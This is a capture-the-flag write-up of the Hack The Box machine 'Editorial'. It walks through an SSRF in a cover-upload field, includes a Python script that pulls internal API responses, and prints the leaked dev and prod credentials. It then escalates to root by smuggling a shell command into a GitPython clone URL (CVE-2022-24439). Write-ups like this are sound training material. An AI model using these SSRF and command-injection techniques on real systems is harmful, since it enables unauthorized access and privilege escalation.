Hack The Box: Editorial

Hack The Box: Editorial
Photo by Prateek Katyal / Unsplash

Recon

NMAP

Web Port

The web page appears to be a book review site. The "Publish with us" page allows for some info entry and a file upload.

The "About" page includes and additional domain tiempoarriba.htb

Initial Access

Upload Page

The "Cover URL" field seems to actually get requested by the backend. When putting in my attacker IP as the URL, I get a request.

Additionally, the text file upload will take any file and upload it and return the path in /static/uploads. But the file as uploaded, does not appear to be executable.

The cover upload URL seems to be uploaded and the file path returned, so that you can access the file. Any error will return the default image. There seems to be an SSRF here but I need to figure out how to access an internal file and then access it via the upload URL.

First, I decided to try different ports to see if any would return anything. So using the request as a file with FFUF, I was able to find that port 5000 was open.

Making the request with http://127.0.0.1:5000 as the Cover URL returns a valid upload file location that we can request.

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

This appears to be an API error indicating how to use the API.

  • /api/latest/metadata/messages/promos
  • /api/latest/metadata/messages/coupons
  • /api/latest/metadata/messages/authors
  • /api/latest/metadata/messages/how_to_use_platform
  • /api/latest/metadata/changelog
  • /api/latest/metadata

Updating the request file to use port 5000 and using the API endpoints above as input, I can launch a Burp Intruder attack to see what all we have.

I don't know if it is Burp Community or what, but spend too much time trying to get Turbo Intruder to work on this. And I was not about to hand jam everything here. So I probably spent 2 hours dorking around with a Python script to automate this whole process. Turns out I was using bookUrl instead of bookurl and there was some control character issues solved with .strip()

import requests

with open('apis.list') as apis:
    for i in apis:
        print(i)
        files=dict(bookurl=(None, 'http://127.0.0.1:5000'+i.strip()), bookfile=('filename.txt', 'thisis onlyatest', 'text/plain'))
        headers = {'Host': 'editorial.htb'}
        proxies = {'http': '127.0.0.1:8080'}
        prepared = requests.Request('POST', 'http://editorial.htb/upload-cover', files=files, headers=headers).prepare()
        # pretty_print_POST(prepared)
        
        s = requests.Session()
        s.proxies = proxies
        r1 = s.send(prepared)
        print(r1.text)

        if 'uploads' in r1.text:
            print('http://editorial.htb/'+r1.text.strip())
            r2 = requests.get('http://editorial.htb/'+r1.text.strip(), allow_redirects=True)
            print(r2.content)

dev:dev080217_devAPI!@

Initial Access

Using the creds found above, I was able to simply SSH into the box.

Internal Recon

Running Linpeas.sh and doing manual recon, here are a few nice vectors:

  • Additional user prod Alirio Acosta, with home dir /home/prodcd /home/
  • apps directory in dev home dir that is a Git Repo.

Git Repo

No files in the repo other than a git log output, but we can use git to look around some more.

In the git log, one of the entries indicates

It (will) contains internal info about the editorial

So I just checked out that commit: git checkout 1e84a036b2f33c59e2390730699a488c65643d28

In the recovered files, app_api/app.py contains similar creds to what was exposed by the API, except for Prod.

prod:080217_Producti0n_2023!@

And sure enough, those creds do work for the prod user.

Escalation

A quick check with sudo -l indicates prod can run /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

That Python file is not writeable but does take user input.

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Looking for some command injection options with this, I cam across this GitHub issue, which was successful for me.

CVE-2022-24439: `<gitpython::clone> ‘ext::sh -c touch% /tmp/pwned’` for remote code execution · Issue #1515 · gitpython-developers/GitPython
This appeared in the CVE feed today: https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858 Not sure if this was reported to you before or not, reporting it here just in case.

So, using that I have command execution as root!